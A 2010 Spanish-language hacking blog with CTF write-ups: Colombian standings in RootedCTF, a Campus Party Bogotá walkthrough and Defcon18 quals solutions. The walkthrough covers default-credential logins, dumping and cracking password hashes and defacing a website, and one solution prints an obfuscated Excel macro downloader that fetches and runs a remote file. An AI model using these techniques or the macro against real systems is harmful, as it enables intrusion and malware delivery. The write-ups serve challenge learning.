lunes, 20 de septiembre de 2010

rootedCTF 2010 -- Shame (:

Bueno, que decir de este ctf, roman y dreyer se lucieron...

complicadito... 7 niveles en total, 2 triviales que hice de una, otros 3 de los que tenia alguna idea y algo hice sin llegar a comprometerlos, y finalmente 2 en los que no avance nada...

el juego sigue abierto... en algun momento lo terminare... pero se acabo el fin de semana y hay ganador entonces ya puedo hacer comentarios...

como lo que hice no tuvo merito y ademas sigue abierto, no hablare de eso... hablare de la participacion colombiana (:

al momento de escribir, hay 840 participantes inscritos, y de ahi 38 son colombianos....

  1. pusha (no se quien es, alguien?) esta de 46 con 4 niveles resueltos.
  2. navickator (bogotano, lo conozco, ganador del reto que hice para campusparty2008-co) es 63 con 2 resueltos (los dos facilongos).
  3. maybefailed (soy yo, que olvide la contraseña de rmolina y no pude jugar con esa cuenta) es 71 con 2 niveles (los mismos de siempre)
  4. duma@HL (pues eso, duma, del hacklab) es 106 con los mismos 2 niveles
  5. tinpardo (otro bogotano, no lo conozco personalmente, pero hable con el en el irc) es 108 con los mismos 2 de todos
  6. lechona17 (quien?) es 139 con.... 2 niveles (los mismos)
  7. kagure (no lo conozco personalemnte, o si? esta en la lista de ctf-colombia) es 150 con... 1 nivel.... el followthechain... el chisme es que recorrio los 100 links a mano... por confirmar (:
  8. rub3ng (tampoco se quien es) es 158 con 1 nivel... pero el de js, no el de los links...
  9. F4Lc0N - LNHG - Colombia (lo conoci hace años, pero años en un parche vandalos), es 236! de aqui en adelante sin puntos!... seguramente no han jugado, porque las inscripciones siguen abiertas...
  10. static es 240
  11. Kagure es 242 (otra vez kagure? pero esta con mayusculas)
  12. rmolina es 243... que si... que se me olvido la contraseña...
  13. juanescobar_org es 244
  14. popa es 264
  15. mandrakesecurity es 288
  16. harocas es 524
  17. juanfergc es 527
  18. Dalroy es 536
  19. ustrel es 544
  20. jalcom es 546
  21. turuk es 559
  22. dazu es 560
  23. leopulcor es 565
  24. maokriz es 571
  25. edalmava es 580
  26. ElZ00rro es 584
  27. j@vg@ es 604
  28. migucass es 619
  29. sarmacid@fsg es 620
  30. unsigned@fsg es 646
  31. OneDot es 656
  32. d5ck es 701
  33. j312005 es 723
  34. el_patz es 769
  35. omartinex es 777
  36. Mauricio Pardo es 783
  37. chacal183 es 813 (este es sospechoso porque tambien hay un elchacal184 de bolivia, alguien quiere afectarme la estadistica???)
  38. oscar3425 es 814

entonces tenemos 38/840 ~ 5% de los jugadores es colombiano...

con puntos 8/38 (estan en negrita) ~ 21% de los colombianos jugando ha hecho alguna cosa...

descontando los 2 triviales solo 1 = pusha ha hecho algo realmente |:

y la verguenza? jajaja pues navickator, maybefailed. duma@HL, kagure y juanescobar_org terminamos en el hall of shame y debo decir en mi defensa que ese scoreboard es una nenita llorona porque yo no le estaba haciendo nada (:

5 terminamos en el muro :) 5/38 ~ 13% jejej

notable la rapida aparicion (en menos de 2 min) de navickator, pero todo bien, no se estrese por eso poeta, que ese scoreboard es una nenita llorona (: y hasta PPP (Plaid Parliament of Pwning)
el equipo ganador, tambien aparecio rapidamente en el hall of shame.

y bueno... ya, como aun no consigo nada emocionante en ese juego, me puse a escribir de otra cosa... suerte


UPDATE 1 (20100920@1045COT): inteligencia confirma que 'Mauricio Pardo' es otra cuenta repetida, y que 'OneDot' es un man de los U.Andes.

UPDATE 2 (20100920@1215COT): roman_soft: @rdmolina Hacking board is forbidden by rules. Don't complain if you entered HoS. Who is really the crybaby? hahaha [#rootedctf]

miércoles, 7 de julio de 2010

Campus Party Bogota 2010 -- CTF Avanzado

Update 1 (20100709): la solucion oficial ya esta en el blog de nonr00t.

Llegue varias horas tarde a este reto, porque estaba en el concierto de 1280almas en jackass… alegria!!!

Navikator me dijo que la info estaba en:
http://gururea.net/wargame/ y arrancamos de una a jugar con sparkid y neoecos…

En la pagina encontramos una captura de red: "RETOCTF.pcap", un archivo de pistas: "Pistas.txt", y un enlace a cgi-bin/ (este enlace era puro despiste… le perdi varias horas…)

El contenido del archivo de pistas era:
Pistas 
1. 186.113.242.0/24
2. Descarga el archivo RETOCTF.pcap
(no tengo logs, asi que va de memoria…)

Lo primero que hice fue usar foremost (una herramienta de carving) en el pcap:

rmolina@maybe-failed:~$ foremost RETOCTF.pcap
Processing: RETOCTF.pcap
|*|

rmolina@maybe-failed:~$ ls -R output/
output/:
audit.txt jpg

output/jpg:
00000011.jpg

Ese
00000011.jpg resulta ser un codigo QR:


Que se
resuelve (con el telefono de sparkid) como "Pista: Capture The Flag"...

Aqui se agotan las ideas por un rato hasta llegar a que se trate de
esteganografia, asi que probamos con steghide:

rmolina@maybe-failed:~$ steghide --extract --stegofile output/jpg/00000011.jpg
Anotar salvoconducto: (aqui probamos el password)
steghide: �no pude extraer ning�n dato con ese salvoconducto!

(parece que la traduccion necesita un iconv,
tengo que recordar reportarlo)

De la pista, probamos "
Capture The Flag", y no funciona…
probamos entonces con "
CTF" y ya esta… obtenemos un archivo readme…

rmolina@maybe-failed:~$ file readme
readme: gzip compressed data, was "texto.txt", from Unix, last modified: Fri Jul 2 15:58:32 2010

luego de renombrar y extraer, tenemos un texto.txt que dice:

Mv mabi uiycqvi ycm vw ma cv Tqvcf g vw ma cv Eqvlwea bmvmuwa 10
cacizqwa kzmilwa, ikkmlm kwv cvw lm mttwa.

segundos despues, tenemos que era un cifrado Cesar, y el texto original:

en esta maquina que no es un linux y no es un windows tenemos 10 usuarios creados, accede con uno de ellos.

(por cierto, este
recipe en python lo resuelve, aun sin una tabla de frecuencias para el español)

bueno… en este punto fue solo barrer la red con nmap usando el rango que nos daban en la pista… ahi encontrabamos un OpenBSD que era la maquina objetivo…

para lograr entrar se podia uno gastar un rato… pero finalmente terminabas por probar:
usuario1:usuario1 :)

una vez dentro, y para cualquier usuario que probemos, nos salia un mensaje como este:

Solo Uno De nosotrOs sabe leer

Plop! pero bueno… por las mayusculas sabemos que la cosa va por sudo…

uno por uno, nos logueamos con cada usuario y probamos a hacer '
sudo su -'…
para la mayoria, obtenemos el error tipico diciéndonos que el usuario no esta en la tabla de sudoers... pero para el usuario4 tenemos otro error, informandonos que usuario4 no tiene permitido usar 'su' via sudo...

probando varios usuarios, vemos que podemos usar cat :) y ya tenemos privilegios de lectura!

(para este momento, ya se me pasaba la borrachera y me empezaba la resaca)

despues de perder mucho tiempo por el lado del cgi-bin, finalmente me he pescado el /etc/master.passwd:

root:$2a$08$4q.rSm3naJ4ySoFYwCVRkuYq9Thj0TIS23Z2PG9zvkVmBPmmyeBLe:0:0:daemon:0:0:Charlie &:/root:/bin/ksh
daemon:*:1:1::0:0:The devil himself:/root:/sbin/nologin
operator:*:2:5::0:0:System &:/operator:/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source,,,:/:/sbin/nologin
smmsp:*:25:25::0:0:Sendmail Message Submission Program:/nonexistent:/sbin/nologin
popa3d:*:26:26::0:0:POP3 Server:/var/empty:/sbin/nologin
sshd:*:27:27::0:0:sshd privsep:/var/empty:/sbin/nologin
_portmap:*:28:28::0:0:portmap:/var/empty:/sbin/nologin
_identd:*:29:29::0:0:identd:/var/empty:/sbin/nologin
_rstatd:*:30:30::0:0:rpc.rstatd:/var/empty:/sbin/nologin
_rusersd:*:32:32::0:0:rpc.rusersd:/var/empty:/sbin/nologin
_fingerd:*:33:33::0:0:fingerd:/var/empty:/sbin/nologin
_x11:*:35:35::0:0:X Server:/var/empty:/sbin/nologin
_kdc:*:59:59::0:0:Kerberos Server:/var/empty:/sbin/nologin
_kadmin:*:60:60::0:0:Kerberos Admin Server:/var/empty:/sbin/nologin
_spamd:*:62:62::0:0:Spam Daemon:/var/empty:/sbin/nologin
uucp:*:66:1::0:0:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucp/uucico
www:*:67:67::0:0:HTTP Server:/var/www:/sbin/nologin
_isakmpd:*:68:68::0:0:isakmpd privsep:/var/empty:/sbin/nologin
named:*:70:70::0:0:BIND Name Service Daemon:/var/named:/sbin/nologin
proxy:*:71:71::0:0:Proxy Services:/nonexistent:/sbin/nologin
_syslogd:*:73:73::0:0:Syslog Daemon:/var/empty:/sbin/nologin
_pflogd:*:74:74::0:0:pflogd privsep:/var/empty:/sbin/nologin
_bgpd:*:75:75::0:0:BGP Daemon:/var/empty:/sbin/nologin
_tcpdump:*:76:76::0:0:tcpdump privsep:/var/empty:/sbin/nologin
_dhcp:*:77:77::0:0:DHCP programs:/var/empty:/sbin/nologin
_mopd:*:78:78::0:0:MOP Daemon:/var/empty:/sbin/nologin
_tftpd:*:79:79::0:0:TFTP Daemon:/var/empty:/sbin/nologin
_rbootd:*:80:80::0:0:rbootd Daemon:/var/empty:/sbin/nologin
_afs:*:81:81::0:0:afs Daemon:/var/empty:/sbin/nologin
_ppp:*:82:82::0:0:PPP utilities:/var/empty:/sbin/nologin
_ntp:*:83:83::0:0:NTP Daemon:/var/empty:/sbin/nologin
_ftp:*:84:84::0:0:FTP Daemon:/var/empty:/sbin/nologin
_ospfd:*:85:85::0:0:OSPF Daemon:/var/empty:/sbin/nologin
_hostapd:*:86:86::0:0:HostAP Daemon:/var/empty:/sbin/nologin
_dvmrpd:*:87:87::0:0:DVMRP Daemon:/var/empty:/sbin/nologin
_ripd:*:88:88::0:0:RIP Daemon:/var/empty:/sbin/nologin
_relayd:*:89:89::0:0:Relay Daemon:/var/empty:/sbin/nologin
_ospf6d:*:90:90::0:0:OSPF6 Daemon:/var/empty:/sbin/nologin
_snmpd:*:91:91::0:0:SNMP Daemon:/var/empty:/sbin/nologin
_rtadvd:*:92:92::0:0:IPv6 Router Advertisement Daemon:/var/empty:/sbin/nologin
_ypldap:*:93:93::0:0:YP to LDAP Daemon:/var/empty:/sbin/nologin
_btd:*:94:94::0:0:Bluetooth Daemon:/var/empty:/sbin/nologin
_smtpd:*:95:95::0:0:SMTP Daemon:/var/empty:/sbin/nologin
_rwalld:*:96:96::0:0:rpc.rwalld:/var/empty:/sbin/nologin
_nsd:*:97:97::0:0:NSD Daemon:/var/empty:/sbin/nologin
_ldpd:*:98:98::0:0:LDP Daemon:/var/empty:/sbin/nologin
nobody:*:32767:32767::0:0:Unprivileged user for NFS:/nonexistent:/sbin/nologin
usuario1:$2a$06$OzPsg4Z0Ux25CZi4RRNmMuMvPmvyhgbKtd.vES87xPz1Q3jJUiHwy:1000:10::0:0::/home/usuario1:/bin/ksh
usuario2:$2a$06$HiWYDvjhToOwd33GJXPiG.tNT1ZNpJdZF9BnDt.Xyw7vFkGUHvXFS:1001:10::0:0::/home/usuario2:/bin/ksh
usuario3:$2a$06$60RyCX6ITAPK0eRoObTnu.16nVtZl1j70lYFKkZPjwVT7MirSTA0K:1002:10::0:0::/home/usuario3:/bin/ksh
usuario4:$2a$06$h3te5J3wQJNsBlK4d0X.cuu7WZZnlXSCmcBtKc7Gyxfj70thVeRW2:1003:10::0:0::/home/usuario4:/bin/ksh
usuario5:$2a$06$TGDBqG0RY1WJme6hZS2FmO.TdIQBF/S5lgsZcdMovPy3hVAXHNbx.:1004:10::0:0::/home/usuario5:/bin/ksh
usuario6:$2a$06$M8Tpl7ZyLWVOI3KGYDU.fuA/fvWN5Cu6T5s2egPYWtgNnTkFC1XZm:1005:10::0:0::/home/usuario6:/bin/ksh
usuario7:$2a$06$lnaMuP0i1MBhokUtNCuxjuFRGsb0NxK/pjQGnxKPN.QyDjwRDNPhW:1006:10::0:0::/home/usuario7:/bin/ksh
usuario8:$2a$06$3ihw9pzrWUueWUprMG8oPO2FIrpShbMrJx.aqQVi4TwOs2TnhpyP6:1007:10::0:0::/home/usuario8:/bin/ksh
usuario9:$2a$06$9VW6RDRwQYuKKAsGn8O0Ze8lUxDRa0SuUn/Hw9fE5sOKvjPetyE9S:1008:10::0:0::/home/usuario9:/bin/ksh
usuario10:$2a$06$VkwXUzjhdQO12zhLiEr/5epnCs.QOEjunGz3NIsMb3aRERh4bPX86:1009:10::0:0::/home/usuario10:/bin/ksh

y usando
john -single, se rompe el password de root :P

rmolina@maybe-failed:~$ /usr/sbin/john -single master.passwd
Loaded 11 password hashes with 11 different salts (OpenBSD Blowfish [32/32])
usuario3 (usuario3)
usuario9 (usuario9)
usuario4 (usuario4)
usuario10 (usuario10)
usuario2 (usuario2)
usuario1 (usuario1)
usuario7 (usuario7)
usuario8 (usuario8)
usuario6 (usuario6)
usuario5 (usuario5)
usuario4 (root)
guesses: 11 time: 0:00:00:01 100% c/s: 28.85 trying: usuario4

plop! el password de root era 'usuario4' :P

luego de un par de minutos intentando entrar… vemos en el /etc/ssh/sshd_config, que esta puesto un AllowUsers (thx NeoEcoS)
AllowUsers root@127.0.0.1 usuario*
y bueno… un ssh local como root… y finalmente la bandera es mia: /root/.flag.txt

en el flag nos daban el objetivo final, un website defacement incluyendo el nombre del ganador…

editar el index.html … corregir los permisos del /var/www/ … apachectl restart … y este juego ya se acabo: fotos, charla de solucion, premiacion, y me voy pa la
ekoparty!!! :)

Update 2 (20100709): comentarios
  1. el juego estuvo bueno, pero muy corto: empece a jugar a las 2am y a las 4am ya leía con sudo… de ahi como hasta las 6am (hora en que se cayo la maquina) fue solo darle al cgi-bin/ y luego dormir… cuando desperté (a eso de las 9am) ya había mucha gente en la maquina… me dolía la cabeza, ya no había acceso a cgi-bin y le insisti mucho a tratar de ganarlo nuevamente, tambien tuve que volver a revisar todo por miedo a que hubieran cambiado algo… y me toco correr bastante… (debí pensar mucho antes en el master.passwd)… termine a eso del mediodia… tendría que haber estado listo para las 5am máximo
  2. lo de la pista del sudo no me cuadramejoraría sin esa pista eventualmente había que probarlo… no hacia falta esa pista… no… y al quitarla se habría alargado el tiempo de juego un poco… y me dejaría una sensación de mayor fluidez… porque el juego es llegar a la bandera primero, no cazar pistas… la carrera de observación estaba en otro lado
  3. ese password del root también es una putada… se le podía trastear un poquito mas, ponernos a generar un diccionario a partir de la pagina de la campus o algo así… no se… en todo caso, entiendo que el juego se diseño e implemento como en treinta minutos, así que kudos por eso

miércoles, 26 de mayo de 2010

Defcon18 CTF Quals -- Crypto Badness 300

El binario de este nivel era c300_f75bec6f545034716.tgz. Hay una copia disponible en hackerschool y los checksum concuerdan (md5:60f710ac26a148b3b915864483d1cb3a, sha1:42b1a776e4fb075879989b1a0258b6d1c996625a).

Parecia un tar.gz, pero mire que era por si acaso:
rmolina@aghora ~ $ file c300_f75bec6f545034716.tgz
c300_f75bec6f545034716.tgz: gzip compressed data, from Unix, last modified: Sat May 22 15:00:16 2010
en efecto, un tarball, que desempaquetamos:
rmolina@aghora ~ $ tar zxvf c300_f75bec6f545034716.tgz
c300_f75bec6f545034716.xls
obtenemos lo que parece ser un libro de ms-excel y verificamos:
rmolina@aghora ~ $ file c300_f75bec6f545034716.xls
c300_f75bec6f545034716.xls: CDF V2 Document, Little Endian, Os: Windows, Version 5.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Jul 26 11:18:57 2006, Last Saved Time/Date: Wed May 26 19:41:29 2010, Security: 1
lo que interesa es el 'Security: 1', por fortuna oocalc se salta la restricción, pero en Win resolver los pass de hojas de calculo o pass de proyectos vba tambien es trivial

ok, revisamos el libro:
rmolina@aghora ~ $ oocalc c300_f75bec6f545034716.xls
En el listado de hojas solo vemos 'Asteroids' pero dice que el libro tiene dos hojas.
En las macros (Tools → Macros → Organize Macros → OpenOffice.org Basic) vemos algunas...
Private Sub GF()    WL = X("5A470714081E6E15355D000A5D000223001C5C041E481647545F4F574B16")
    FL = X("51092F16535C6F003A56")
    RV = URLDownloadToFile(0, WL, FL, 0, 0)
End Sub
GF() descargara desde una url un archivo con URLDownloadToFile...
Private Sub EX()
    Dim OF As String
    On Error Resume Next
    UP = X("51092F")
    OF = X("40521E4A574924")
    RV = ShellExecute(0, "open", OF, "", UP, 3)
End Sub
EX() ejecutara un archivo con ShellExecute (se puede suponer que el descargado)...

Lo que tienen en comun GF() y EX() es que usaran X() para decodificar los parametros que pasaran al api...
Private Function X(DI As String) As String

    Dim CK, sDO As String
    Dim lDP, iXV1, iXV2 As Integer

    On Error Resume Next

    CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _
        Worksheets("Data").Range("Z9550")

    For lDP = 1 To (Len(DI) / 2)
        iXV1 = Val("&H" & (Mid$(DI, (2 * lDP) - 1, 2)))
        iXV2 = Asc(Mid$(CK, ((lDP Mod Len(CK)) + 1), 1))
        sDO = sDO + Chr(iXV1 Xor iXV2)
    Next lDP
    X = sDO

End Function
Al estudiar X(DI) vemos que decodifica la cadena DI, usando CK en el proceso...

y quien es este CK?
    CK = Worksheets("Data").Range("AU2") & Worksheets("Data").Range("BE4866") & _
        Worksheets("Data").Range("Z9550")
Aqui vemos que la hoja que nos faltaba es Data y que CK se forma desde algunas celdas de esta hoja

Al regresar a oocalc, en la primera celda podemos evaluar CK usando:
=Data.AU2&Data.BE4866&Data.Z9550
y la clave que obtenemos resulta ser la clave del nivel: a23sd21AeB349sdfWewrfw29552 :)

Defcon18 CTF Quals -- Binary L33tness 100

El binario de este nivel era b100_4c5cd364e89fd34.bin. Hay una copia disponible en hackerschool y los checksum concuerdan (md5:7180bec10724ea5398956a321a43fdfc, sha1:6a482191c8045be85edaf7911615ddc71f871ee8).

Primero, mire que era:
rmolina@aghora ~ $ file b100_4c5cd364e89fd34.bin 
b100_4c5cd364e89fd34.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
Lo ejecute:
rmolina@aghora ~ $ ./b100_4c5cd364e89fd34.bin 
Please supply a key
Intente una clave cualquiera para ver las salidas:
rmolina@aghora ~ $ ./b100_4c5cd364e89fd34.bin 12345
I hope you got it! Good luck
uLO̵�R ��Z]L ��ҷ\�g%L �{��<� 
Intente una clave nula (si, nula, tengo la costumbre):
rmolina@aghora ~ $ ./b100_4c5cd364e89fd34.bin ''
I hope you got it! Good luck
��M.+Q�
The real key is: bob's yer mom
Algo paso aquí...

Intenté con esa clave: "bob's yer mom"
rmolina@aghora ~ $ ./b100_4c5cd364e89fd34.bin "bob's yer mom"
I hope you got it! Good luck
,Z��Y �7j  �46��PmG�1 q�� Q�
��w
No paso nada...

uhmmm... Claro, porque bob's yer mom no era la clave del binario, sino la del nivel... listo!

Todo el proceso en dos o tres minutos como maximo :)